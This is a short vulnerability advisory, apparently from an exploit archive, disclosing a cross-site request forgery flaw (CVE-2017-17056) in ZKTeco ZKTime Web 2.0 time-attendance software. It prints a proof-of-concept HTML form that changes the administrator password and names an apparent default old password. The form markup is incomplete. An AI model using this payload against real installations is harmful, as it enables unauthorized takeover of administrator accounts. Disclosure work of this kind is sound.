ZKTeco ZKTime Web Cross Site Request Forgery

ZKTeco ZKTime Web version suffers from a cross site request forgery vulnerability.

MD5 | 49b9af816ec019c072d78c914ee5e93c

*1. Introduction*

Vendor: ZKTeco
Affected Product: ZKTime Web -
Fixed in:
Vendor Website: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html
Vulnerability Type: Cross Site Request Forgery
Remote Exploitable: Yes
CVE: CVE-2017-17056

*2. Product description*
ZKTime Web 2.0 is a cutting edge Web-based Time Attendance software,
which provided a stable communication for devices through GPRS/WAN,
hence, users can access the software anywhere by their Web Browser to
remotely manage hundreds of T&A terminals under complex network
condition (WLAN). The Application has an administrator role and
application user role.

*3. Attack Description*
The ZKTime Web Software allows the Administrator to elevate the
privileges of the application user using a 'password_change()'
function of the Modify Password component.

An Attacker takes advantage of this scenario and creates a crafted
link to add himself as an administrator to the ZKTime Web Software. He
then uses social engineering methods to trick the administrator into
click the forged http request. The request is executed and the
attacker becomes the Administrator of the ZKTime Web Software.

*4. Proof of Concept Code*
Forged HTTP Request used by the attacker:
<script>history.pushState('', '', '/')</script>
<form action=""
<input type="hidden" name="old_password" value="xmzkteco888" />
<input type="hidden" name="new_password1" value="admin" />
<input type="hidden" name="new_password2" value="admin" />
<input type="submit" value="Submit request" />

*5. Impact*
If the vulnerability is successfully exploited than an attacker (who
would be a normal user of the web application) can escalate his
privileges and become the administrator of ZK Time Web Software.

*6. References*

*7. Credit*
Himanshu Mehta (@LionHeartRoxx)

Related Posts